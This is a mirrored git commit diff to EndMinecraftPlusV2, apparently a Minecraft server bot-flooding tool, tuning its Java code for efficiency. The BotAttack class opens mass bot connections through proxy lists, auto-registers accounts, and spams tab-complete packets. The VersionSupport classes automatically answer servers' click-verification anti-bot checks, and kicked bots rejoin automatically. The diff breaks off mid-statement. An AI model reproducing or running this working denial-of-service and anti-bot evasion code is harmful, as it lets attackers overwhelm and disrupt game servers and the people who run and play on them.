mirror of
https://github.com/SerendipityR-2022/EndMinecraftPlusV2.git
synced 2024-10-31 20:08:00 +00:00
运行效率优化 默认配置调优
This commit is contained in:
parent
8b721effe1
commit
98870a9f6c
@ -6,14 +6,17 @@ import com.github.steveice10.packetlib.ProxyInfo;
|
|||||||
import com.github.steveice10.packetlib.Session;
|
import com.github.steveice10.packetlib.Session;
|
||||||
import com.github.steveice10.packetlib.tcp.TcpSessionFactory;
|
import com.github.steveice10.packetlib.tcp.TcpSessionFactory;
|
||||||
|
|
||||||
|
import java.util.HashMap;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
public class VersionSupport578 {
|
public class VersionSupport578 {
|
||||||
public TcpSessionFactory createTcpSessionFactory(ProxyInfo proxyInfo) {
|
public TcpSessionFactory createTcpSessionFactory(ProxyInfo proxyInfo) {
|
||||||
return new TcpSessionFactory(proxyInfo);
|
return new TcpSessionFactory(proxyInfo);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static boolean clickVerifiesHandle(Message message, Session session, List<String> ClickVerifiesDetect) {
|
public static Map<String, String> clickVerifiesHandle(Message message, Session session, List<String> ClickVerifiesDetect) {
|
||||||
|
Map<String, String> result = new HashMap<>();
|
||||||
boolean needClick = false;
|
boolean needClick = false;
|
||||||
|
|
||||||
if (message.getStyle().getClickEvent() != null) {
|
if (message.getStyle().getClickEvent() != null) {
|
||||||
@ -26,16 +29,20 @@ public class VersionSupport578 {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if (needClick) {
|
if (needClick) {
|
||||||
session.send(new ClientChatPacket(message.getStyle().getClickEvent().getValue()));
|
String msg = message.getStyle().getClickEvent().getValue();
|
||||||
return true;
|
session.send(new ClientChatPacket(msg));
|
||||||
|
result.put("result", "true");
|
||||||
|
result.put("msg", msg);
|
||||||
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (message.getExtra() != null && !message.getExtra().isEmpty()) {
|
if (message.getExtra() != null && !message.getExtra().isEmpty()) {
|
||||||
for (Message extraMessage:message.getExtra()) {
|
for (Message extraMessage:message.getExtra()) {
|
||||||
clickVerifiesHandle(extraMessage, session, ClickVerifiesDetect);
|
return clickVerifiesHandle(extraMessage, session, ClickVerifiesDetect);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return false;
|
result.put("result", "false");
|
||||||
|
return result;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -9,17 +9,15 @@ import com.github.steveice10.packetlib.tcp.TcpClientSession;
|
|||||||
import net.kyori.adventure.text.Component;
|
import net.kyori.adventure.text.Component;
|
||||||
import net.kyori.adventure.text.serializer.plain.PlainTextComponentSerializer;
|
import net.kyori.adventure.text.serializer.plain.PlainTextComponentSerializer;
|
||||||
|
|
||||||
import java.util.ArrayList;
|
import java.util.*;
|
||||||
import java.util.List;
|
|
||||||
import java.util.Objects;
|
|
||||||
|
|
||||||
public class VersionSupport754 {
|
public class VersionSupport754 {
|
||||||
public static Session getSession(String ip, Integer port, String username, ProxyInfo proxyInfo) {
|
public static Session getSession(String ip, Integer port, String username, ProxyInfo proxyInfo) {
|
||||||
return new TcpClientSession(ip, port, new MinecraftProtocol(username), proxyInfo);
|
return new TcpClientSession(ip, port, new MinecraftProtocol(username), proxyInfo);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static List<String> clickVerifiesHandle(ServerChatPacket packet, Session session, List<String> ClickVerifiesDetect, Component Message) {
|
public static Map<String, String> clickVerifiesHandle(ServerChatPacket packet, Session session, List<String> ClickVerifiesDetect, Component Message) {
|
||||||
List<String> result = new ArrayList<>();
|
Map<String, String> result = new HashMap<>();
|
||||||
boolean needClick = false;
|
boolean needClick = false;
|
||||||
Component message;
|
Component message;
|
||||||
|
|
||||||
@ -41,21 +39,20 @@ public class VersionSupport754 {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if (needClick) {
|
if (needClick) {
|
||||||
session.send(new ClientChatPacket(Objects.requireNonNull(message.style().clickEvent()).value()));
|
String msg = Objects.requireNonNull(message.style().clickEvent()).value();
|
||||||
result.add("1");
|
session.send(new ClientChatPacket(msg));
|
||||||
result.add(simpleMsg);
|
result.put("result", "true");
|
||||||
result.add(Objects.requireNonNull(message.style().clickEvent()).value());
|
result.put("msg", msg);
|
||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!message.children().isEmpty()) {
|
if (!message.children().isEmpty()) {
|
||||||
for (Component extraMessage:message.children()) {
|
for (Component extraMessage:message.children()) {
|
||||||
clickVerifiesHandle(null, session, ClickVerifiesDetect, extraMessage);
|
return clickVerifiesHandle(null, session, ClickVerifiesDetect, extraMessage);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
result.add("0");
|
result.put("result", "false");
|
||||||
result.add(simpleMsg);
|
|
||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -11,19 +11,19 @@ import com.github.steveice10.packetlib.packet.Packet;
|
|||||||
import net.kyori.adventure.text.Component;
|
import net.kyori.adventure.text.Component;
|
||||||
import net.kyori.adventure.text.serializer.plain.PlainTextComponentSerializer;
|
import net.kyori.adventure.text.serializer.plain.PlainTextComponentSerializer;
|
||||||
|
|
||||||
import java.io.File;
|
|
||||||
import java.lang.reflect.Array;
|
import java.lang.reflect.Array;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.util.ArrayList;
|
import java.util.HashMap;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
import java.util.Objects;
|
import java.util.Objects;
|
||||||
|
|
||||||
public class VersionSupport758 {
|
public class VersionSupport758 {
|
||||||
public static List<String> clickVerifiesHandle(Packet packet, Session session, List<String> ClickVerifiesDetect, Component Message) {
|
public static Map<String, String> clickVerifiesHandle(Packet packet, Session session, List<String> ClickVerifiesDetect, Component Message) {
|
||||||
ClientboundChatPacket chatPacket = (ClientboundChatPacket) packet;
|
ClientboundChatPacket chatPacket = (ClientboundChatPacket) packet;
|
||||||
|
|
||||||
List<String> result = new ArrayList<>();
|
Map<String, String> result = new HashMap<>();
|
||||||
boolean needClick = false;
|
boolean needClick = false;
|
||||||
Component message;
|
Component message;
|
||||||
|
|
||||||
@ -45,10 +45,10 @@ public class VersionSupport758 {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if (needClick) {
|
if (needClick) {
|
||||||
session.send(new ServerboundChatPacket(Objects.requireNonNull(message.style().clickEvent()).value()));
|
String msg = Objects.requireNonNull(message.style().clickEvent()).value();
|
||||||
result.add("1");
|
session.send(new ServerboundChatPacket(msg));
|
||||||
result.add(simpleMsg);
|
result.put("result", "true");
|
||||||
result.add(Objects.requireNonNull(message.style().clickEvent()).value());
|
result.put("msg", msg);
|
||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -58,8 +58,8 @@ public class VersionSupport758 {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
result.add("0");
|
result.put("result", "false");
|
||||||
result.add(simpleMsg);
|
result.put("msg", simpleMsg);
|
||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -8,15 +8,13 @@ import net.kyori.adventure.text.Component;
|
|||||||
import net.kyori.adventure.text.serializer.plain.PlainTextComponentSerializer;
|
import net.kyori.adventure.text.serializer.plain.PlainTextComponentSerializer;
|
||||||
|
|
||||||
import java.time.Instant;
|
import java.time.Instant;
|
||||||
import java.util.ArrayList;
|
import java.util.*;
|
||||||
import java.util.List;
|
|
||||||
import java.util.Objects;
|
|
||||||
|
|
||||||
public class VersionSupport759 {
|
public class VersionSupport759 {
|
||||||
public static List<String> clickVerifiesHandle(Packet packet, Session session, List<String> ClickVerifiesDetect, Component Message) {
|
public static Map<String, String> clickVerifiesHandle(Packet packet, Session session, List<String> ClickVerifiesDetect, Component Message) {
|
||||||
ClientboundSystemChatPacket chatPacket = (ClientboundSystemChatPacket) packet;
|
ClientboundSystemChatPacket chatPacket = (ClientboundSystemChatPacket) packet;
|
||||||
|
|
||||||
List<String> result = new ArrayList<>();
|
Map<String, String> result = new HashMap<>();
|
||||||
boolean needClick = false;
|
boolean needClick = false;
|
||||||
Component message;
|
Component message;
|
||||||
|
|
||||||
@ -38,21 +36,21 @@ public class VersionSupport759 {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if (needClick) {
|
if (needClick) {
|
||||||
session.send(new ServerboundChatPacket(Objects.requireNonNull(message.style().clickEvent()).value(), Instant.now().toEpochMilli(), 0, new byte[0], false));
|
String msg = Objects.requireNonNull(message.style().clickEvent()).value();
|
||||||
result.add("1");
|
session.send(new ServerboundChatPacket(msg, Instant.now().toEpochMilli(), 0, new byte[0], false));
|
||||||
result.add(simpleMsg);
|
result.put("result", "true");
|
||||||
result.add(Objects.requireNonNull(message.style().clickEvent()).value());
|
result.put("msg", msg);
|
||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!message.children().isEmpty()) {
|
if (!message.children().isEmpty()) {
|
||||||
for (Component extraMessage:message.children()) {
|
for (Component extraMessage:message.children()) {
|
||||||
clickVerifiesHandle(null, session, ClickVerifiesDetect, extraMessage);
|
return clickVerifiesHandle(null, session, ClickVerifiesDetect, extraMessage);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
result.add("0");
|
result.put("result", "false");
|
||||||
result.add(simpleMsg);
|
result.put("msg", simpleMsg);
|
||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -8,15 +8,13 @@ import net.kyori.adventure.text.Component;
|
|||||||
import net.kyori.adventure.text.serializer.plain.PlainTextComponentSerializer;
|
import net.kyori.adventure.text.serializer.plain.PlainTextComponentSerializer;
|
||||||
|
|
||||||
import java.time.Instant;
|
import java.time.Instant;
|
||||||
import java.util.ArrayList;
|
import java.util.*;
|
||||||
import java.util.List;
|
|
||||||
import java.util.Objects;
|
|
||||||
|
|
||||||
public class VersionSupport760 {
|
public class VersionSupport760 {
|
||||||
public static List<String> clickVerifiesHandle(Packet packet, Session session, List<String> ClickVerifiesDetect, Component Message) {
|
public static Map<String, String> clickVerifiesHandle(Packet packet, Session session, List<String> ClickVerifiesDetect, Component Message) {
|
||||||
ClientboundSystemChatPacket chatPacket = (ClientboundSystemChatPacket) packet;
|
ClientboundSystemChatPacket chatPacket = (ClientboundSystemChatPacket) packet;
|
||||||
|
|
||||||
List<String> result = new ArrayList<>();
|
Map<String, String> result = new HashMap<>();
|
||||||
boolean needClick = false;
|
boolean needClick = false;
|
||||||
Component message;
|
Component message;
|
||||||
|
|
||||||
@ -39,20 +37,20 @@ public class VersionSupport760 {
|
|||||||
|
|
||||||
if (needClick) {
|
if (needClick) {
|
||||||
session.send(new ServerboundChatPacket(Objects.requireNonNull(message.style().clickEvent()).value(), Instant.now().toEpochMilli(), 0, new byte[0], false, new ArrayList<>(), null));
|
session.send(new ServerboundChatPacket(Objects.requireNonNull(message.style().clickEvent()).value(), Instant.now().toEpochMilli(), 0, new byte[0], false, new ArrayList<>(), null));
|
||||||
result.add("1");
|
String msg = Objects.requireNonNull(message.style().clickEvent()).value();
|
||||||
result.add(simpleMsg);
|
result.put("result", "true");
|
||||||
result.add(Objects.requireNonNull(message.style().clickEvent()).value());
|
result.put("msg", msg);
|
||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!message.children().isEmpty()) {
|
if (!message.children().isEmpty()) {
|
||||||
for (Component extraMessage:message.children()) {
|
for (Component extraMessage:message.children()) {
|
||||||
clickVerifiesHandle(null, session, ClickVerifiesDetect, extraMessage);
|
return clickVerifiesHandle(null, session, ClickVerifiesDetect, extraMessage);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
result.add("0");
|
result.put("result", "false");
|
||||||
result.add(simpleMsg);
|
result.put("msg", simpleMsg);
|
||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -29,6 +29,6 @@ public class LogUtil {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public static void emptyLog() {
|
public static void emptyLog() {
|
||||||
System.out.println("");
|
System.out.println();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -78,21 +78,6 @@ public class OtherUtils {
|
|||||||
return (float) (Math.random()*(max-min)+min);
|
return (float) (Math.random()*(max-min)+min);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("unchecked")
|
|
||||||
public static <T> T getCo(String date, T def) {
|
|
||||||
if (date.equals("")) {
|
|
||||||
return def;
|
|
||||||
}
|
|
||||||
return (T) date;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static int getCo(String date, int def) {
|
|
||||||
if (date.equals("")) {
|
|
||||||
return def;
|
|
||||||
}
|
|
||||||
return Integer.parseInt(date);
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void loadLibrary(File file) {
|
public static void loadLibrary(File file) {
|
||||||
try {
|
try {
|
||||||
URLClassLoader cl = (URLClassLoader) ClassLoader.getSystemClassLoader();
|
URLClassLoader cl = (URLClassLoader) ClassLoader.getSystemClassLoader();
|
||||||
|
@ -26,9 +26,7 @@ import com.github.steveice10.packetlib.event.session.*;
|
|||||||
import com.github.steveice10.packetlib.packet.Packet;
|
import com.github.steveice10.packetlib.packet.Packet;
|
||||||
import com.github.steveice10.packetlib.tcp.TcpSessionFactory;
|
import com.github.steveice10.packetlib.tcp.TcpSessionFactory;
|
||||||
import io.netty.util.internal.ConcurrentSet;
|
import io.netty.util.internal.ConcurrentSet;
|
||||||
import sun.rmi.runtime.Log;
|
|
||||||
|
|
||||||
import java.io.InputStream;
|
|
||||||
import java.io.OutputStream;
|
import java.io.OutputStream;
|
||||||
import java.net.InetSocketAddress;
|
import java.net.InetSocketAddress;
|
||||||
import java.net.Proxy;
|
import java.net.Proxy;
|
||||||
@ -40,10 +38,11 @@ import java.util.concurrent.Executors;
|
|||||||
public class BotAttack extends IAttack {
|
public class BotAttack extends IAttack {
|
||||||
public static HashMap<Client, String> clientName = new HashMap<>();
|
public static HashMap<Client, String> clientName = new HashMap<>();
|
||||||
public static int failed = 0;
|
public static int failed = 0;
|
||||||
public static int joined = 0;
|
|
||||||
public static int rejoin = 0;
|
public static int rejoin = 0;
|
||||||
public static int clickVerifies = 0;
|
public static int clickVerifies = 0;
|
||||||
public static List<String> alivePlayers = new ArrayList<>();
|
public static List<String> alivePlayers = new ArrayList<>();
|
||||||
|
public static List<String> rejoinPlayers = new ArrayList<>();
|
||||||
|
public static List<Session> joinedPlayers = new ArrayList<>();
|
||||||
public static HashMap<Session, ServerPlayerPositionRotationPacket> positionPacket = new HashMap<>();
|
public static HashMap<Session, ServerPlayerPositionRotationPacket> positionPacket = new HashMap<>();
|
||||||
protected boolean attack_motdbefore;
|
protected boolean attack_motdbefore;
|
||||||
protected boolean attack_tab;
|
protected boolean attack_tab;
|
||||||
@ -106,7 +105,6 @@ public class BotAttack extends IAttack {
|
|||||||
OtherUtils.doSleep(ConfigUtil.ChatDelay);
|
OtherUtils.doSleep(ConfigUtil.ChatDelay);
|
||||||
c.getSession().send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))));
|
c.getSession().send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))));
|
||||||
}
|
}
|
||||||
|
|
||||||
LogUtil.doLog(0, "[" + clientName.get(c) + "] 注册信息已发送。", "BotAttack");
|
LogUtil.doLog(0, "[" + clientName.get(c) + "] 注册信息已发送。", "BotAttack");
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -114,8 +112,6 @@ public class BotAttack extends IAttack {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
OtherUtils.doSleep(1000);
|
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
@ -148,7 +144,7 @@ public class BotAttack extends IAttack {
|
|||||||
tabThread = new Thread(() -> {
|
tabThread = new Thread(() -> {
|
||||||
while (true) {
|
while (true) {
|
||||||
for (Client c : clients) {
|
for (Client c : clients) {
|
||||||
if (c.getSession().isConnected() && c.getSession().hasFlag("join")) {
|
if (c.getSession().isConnected() && c.getSession().hasFlag("login")) {
|
||||||
MultiVersionPacket.sendTabPacket(c.getSession(), "/");
|
MultiVersionPacket.sendTabPacket(c.getSession(), "/");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -183,11 +179,14 @@ public class BotAttack extends IAttack {
|
|||||||
String username = clientName.get(client);
|
String username = clientName.get(client);
|
||||||
|
|
||||||
if (!client.getSession().isConnected()) {
|
if (!client.getSession().isConnected()) {
|
||||||
|
positionPacket.remove(client.getSession());
|
||||||
alivePlayers.remove(username);
|
alivePlayers.remove(username);
|
||||||
clientName.remove(client);
|
clientName.remove(client);
|
||||||
clients.remove(client);
|
clients.remove(client);
|
||||||
} else if (!alivePlayers.contains(username) && (client.getSession().hasFlag("login") || client.getSession().hasFlag("join"))) {
|
} else {
|
||||||
alivePlayers.add(username);
|
if (!alivePlayers.contains(username) && (client.getSession().hasFlag("login") || client.getSession().hasFlag("join"))) {
|
||||||
|
alivePlayers.add(username);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -205,44 +204,39 @@ public class BotAttack extends IAttack {
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
boolean run = true;
|
for (String p: ProxyUtil.proxies) {
|
||||||
while (run) {
|
try {
|
||||||
for (String p: ProxyUtil.proxies) {
|
if (!EndMinecraftPlusV2.isLinux) {
|
||||||
try {
|
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joinedPlayers.size() + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin);
|
||||||
if (!EndMinecraftPlusV2.isLinux) {
|
|
||||||
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joined + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin);
|
|
||||||
}
|
|
||||||
|
|
||||||
String[] _p = p.split(":");
|
|
||||||
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
|
|
||||||
String[] User = AttackManager.getRandomUser().split("@");
|
|
||||||
Client client = createClient(ip, port, User[0], proxy);
|
|
||||||
client.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
|
|
||||||
client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
|
|
||||||
clientName.put(client, User[0]);
|
|
||||||
clients.add(client);
|
|
||||||
ProxyUtil.clientsProxy.put(client.getSession(), proxy);
|
|
||||||
|
|
||||||
if (this.attack_motdbefore) {
|
|
||||||
pool.submit(() -> {
|
|
||||||
getMotd(proxy, ip, port);
|
|
||||||
client.getSession().connect(false);
|
|
||||||
});
|
|
||||||
} else {
|
|
||||||
client.getSession().connect(false);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (this.attack_joinsleep > 0) {
|
|
||||||
OtherUtils.doSleep(attack_joinsleep);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (clients.size() > this.attack_maxconnect) {
|
|
||||||
run = false;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
LogUtil.doLog(1, "发生错误: " + e, null);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
String[] _p = p.split(":");
|
||||||
|
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
|
||||||
|
String[] User = AttackManager.getRandomUser().split("@");
|
||||||
|
Client client = createClient(ip, port, User[0], proxy);
|
||||||
|
client.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
|
||||||
|
client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
|
||||||
|
clientName.put(client, User[0]);
|
||||||
|
clients.add(client);
|
||||||
|
ProxyUtil.clientsProxy.put(client.getSession(), proxy);
|
||||||
|
|
||||||
|
pool.submit(() -> {
|
||||||
|
if (this.attack_motdbefore) {
|
||||||
|
getMotd(proxy, ip, port);
|
||||||
|
}
|
||||||
|
|
||||||
|
client.getSession().connect(false);
|
||||||
|
});
|
||||||
|
|
||||||
|
if (this.attack_joinsleep > 0) {
|
||||||
|
OtherUtils.doSleep(attack_joinsleep);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (clients.size() > this.attack_maxconnect) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
LogUtil.doLog(1, "发生错误: " + e, null);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -282,20 +276,12 @@ public class BotAttack extends IAttack {
|
|||||||
client.getSession().addListener(new SessionListener() {
|
client.getSession().addListener(new SessionListener() {
|
||||||
public void packetReceived(PacketReceivedEvent e) {
|
public void packetReceived(PacketReceivedEvent e) {
|
||||||
new Thread(() -> handlePacket(e.getSession(), e.getPacket(), username)).start();
|
new Thread(() -> handlePacket(e.getSession(), e.getPacket(), username)).start();
|
||||||
|
|
||||||
if (ConfigUtil.SaveWorkingProxy) {
|
|
||||||
ProxyUtil.saveWorkingProxy(proxy);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public void packetReceived(Session session, Packet packet) {
|
public void packetReceived(Session session, Packet packet) {
|
||||||
new Thread(() -> {
|
new Thread(() -> {
|
||||||
handlePacket(session, packet, username);
|
handlePacket(session, packet, username);
|
||||||
}).start();
|
}).start();
|
||||||
|
|
||||||
if (ConfigUtil.SaveWorkingProxy) {
|
|
||||||
ProxyUtil.saveWorkingProxy(proxy);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public void packetSending(PacketSendingEvent packetSendingEvent) {
|
public void packetSending(PacketSendingEvent packetSendingEvent) {
|
||||||
@ -315,25 +301,30 @@ public class BotAttack extends IAttack {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public void connected(ConnectedEvent e) {
|
public void connected(ConnectedEvent e) {
|
||||||
|
if (ConfigUtil.SaveWorkingProxy) {
|
||||||
|
ProxyUtil.saveWorkingProxy(proxy);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public void disconnecting(DisconnectingEvent e) {
|
public void disconnecting(DisconnectingEvent e) {
|
||||||
}
|
}
|
||||||
|
|
||||||
public void disconnected(DisconnectedEvent e) {
|
public void disconnected(DisconnectedEvent e) {
|
||||||
String msg;
|
new Thread(() -> {
|
||||||
|
String msg;
|
||||||
|
|
||||||
if (e.getCause() == null) {
|
if (e.getCause() == null) {
|
||||||
msg = e.getReason();
|
msg = e.getReason();
|
||||||
LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + msg, "BotAttack");
|
LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + msg, "BotAttack");
|
||||||
|
|
||||||
if (ConfigUtil.SaveWorkingProxy) {
|
for (String rejoinDetect:ConfigUtil.RejoinDetect) {
|
||||||
ProxyUtil.saveWorkingProxy(proxy);
|
if (rejoinPlayers.contains(username)) {
|
||||||
}
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (msg.contains(rejoinDetect)) {
|
||||||
|
rejoinPlayers.add(username);
|
||||||
|
|
||||||
for (String rejoinDetect:ConfigUtil.RejoinDetect) {
|
|
||||||
if (msg.contains(rejoinDetect)) {
|
|
||||||
new Thread(() -> {
|
|
||||||
for (int i = 0; i < ConfigUtil.RejoinCount; i++) {
|
for (int i = 0; i < ConfigUtil.RejoinCount; i++) {
|
||||||
OtherUtils.doSleep(ConfigUtil.RejoinDelay);
|
OtherUtils.doSleep(ConfigUtil.RejoinDelay);
|
||||||
|
|
||||||
@ -346,23 +337,24 @@ public class BotAttack extends IAttack {
|
|||||||
clientName.put(rejoinClient, username);
|
clientName.put(rejoinClient, username);
|
||||||
clients.add(rejoinClient);
|
clients.add(rejoinClient);
|
||||||
rejoinClient.getSession().connect(false);
|
rejoinClient.getSession().connect(false);
|
||||||
|
ProxyUtil.clientsProxy.put(client.getSession(), proxy);
|
||||||
|
|
||||||
if (rejoinClient.getSession().hasFlag("join") || rejoinClient.getSession().hasFlag("login")) {
|
if (rejoinClient.getSession().hasFlag("join") || rejoinClient.getSession().hasFlag("login")) {
|
||||||
|
rejoinPlayers.remove(username);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}).start();
|
|
||||||
|
rejoinPlayers.remove(username);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
} else if (ConfigUtil.ShowFails) {
|
||||||
|
LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + e.getCause(), "BotAttack");
|
||||||
}
|
}
|
||||||
} else if (ConfigUtil.ShowFails) {
|
|
||||||
LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + e.getCause(), "BotAttack");
|
|
||||||
}
|
|
||||||
|
|
||||||
failed++;
|
failed++;
|
||||||
alivePlayers.remove(username);
|
alivePlayers.remove(username);
|
||||||
|
}).start();
|
||||||
client.getSession().disconnect("");
|
|
||||||
clients.remove(client);
|
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
return client;
|
return client;
|
||||||
@ -372,22 +364,14 @@ public class BotAttack extends IAttack {
|
|||||||
try {
|
try {
|
||||||
Socket socket = new Socket(proxy);
|
Socket socket = new Socket(proxy);
|
||||||
socket.connect(new InetSocketAddress(ip, port));
|
socket.connect(new InetSocketAddress(ip, port));
|
||||||
|
|
||||||
if (socket.isConnected()) {
|
if (socket.isConnected()) {
|
||||||
OutputStream out = socket.getOutputStream();
|
OutputStream out = socket.getOutputStream();
|
||||||
InputStream in = socket.getInputStream();
|
|
||||||
out.write(new byte[]{0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01});
|
out.write(new byte[]{0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01});
|
||||||
out.write(new byte[]{0x01, 0x00});
|
out.write(new byte[]{0x01, 0x00});
|
||||||
out.flush();
|
out.flush();
|
||||||
in.read();
|
|
||||||
|
|
||||||
try {
|
|
||||||
in.close();
|
|
||||||
out.close();
|
|
||||||
socket.close();
|
|
||||||
} catch (Exception ignored) {}
|
|
||||||
|
|
||||||
return;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
socket.close();
|
socket.close();
|
||||||
} catch (Exception ignored) {}
|
} catch (Exception ignored) {}
|
||||||
}
|
}
|
||||||
@ -416,7 +400,8 @@ public class BotAttack extends IAttack {
|
|||||||
} else if (recvPacket instanceof ServerJoinGamePacket) {
|
} else if (recvPacket instanceof ServerJoinGamePacket) {
|
||||||
session.setFlag("join", true);
|
session.setFlag("join", true);
|
||||||
LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack");
|
LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack");
|
||||||
joined++;
|
|
||||||
|
joinedPlayers.add(session);
|
||||||
|
|
||||||
if (!alivePlayers.contains(username)) {
|
if (!alivePlayers.contains(username)) {
|
||||||
alivePlayers.add(username);
|
alivePlayers.add(username);
|
||||||
@ -436,26 +421,41 @@ public class BotAttack extends IAttack {
|
|||||||
} else if (recvPacket instanceof ServerChatPacket) {
|
} else if (recvPacket instanceof ServerChatPacket) {
|
||||||
ServerChatPacket chatPacket = (ServerChatPacket) recvPacket;
|
ServerChatPacket chatPacket = (ServerChatPacket) recvPacket;
|
||||||
|
|
||||||
if (ProtocolLibs.adaptAfter578) {
|
Message message = chatPacket.getMessage();
|
||||||
if (VersionSupport578.clickVerifiesHandle(chatPacket.getMessage(), session, ConfigUtil.ClickVerifiesDetect)) {
|
|
||||||
LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + chatPacket.getMessage().getStyle().getClickEvent().getValue(), "BotAttack");
|
|
||||||
clickVerifies++;
|
|
||||||
} else if (!chatPacket.getMessage().toString().equals("")) {
|
|
||||||
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + chatPacket.getMessage(), "BotAttack");
|
|
||||||
}
|
|
||||||
|
|
||||||
if (!alivePlayers.contains(username)) {
|
if (ProtocolLibs.adaptAfter578) {
|
||||||
alivePlayers.add(username);
|
Map<String, String> result = VersionSupport578.clickVerifiesHandle(message, session, ConfigUtil.ClickVerifiesDetect);
|
||||||
|
|
||||||
|
if (result.get("result").contains("true")) {
|
||||||
|
LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + result.get("msg"), "BotAttack");
|
||||||
|
clickVerifies++;
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
clickVerifiesHandle(chatPacket.getMessage(), session, username);
|
clickVerifiesHandle(message, session, username);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!joinedPlayers.contains(session)) {
|
||||||
|
joinedPlayers.add(session);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!alivePlayers.contains(username)) {
|
||||||
|
alivePlayers.add(username);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ConfigUtil.ShowServerMessages && !message.getFullText().equals("")) {
|
||||||
|
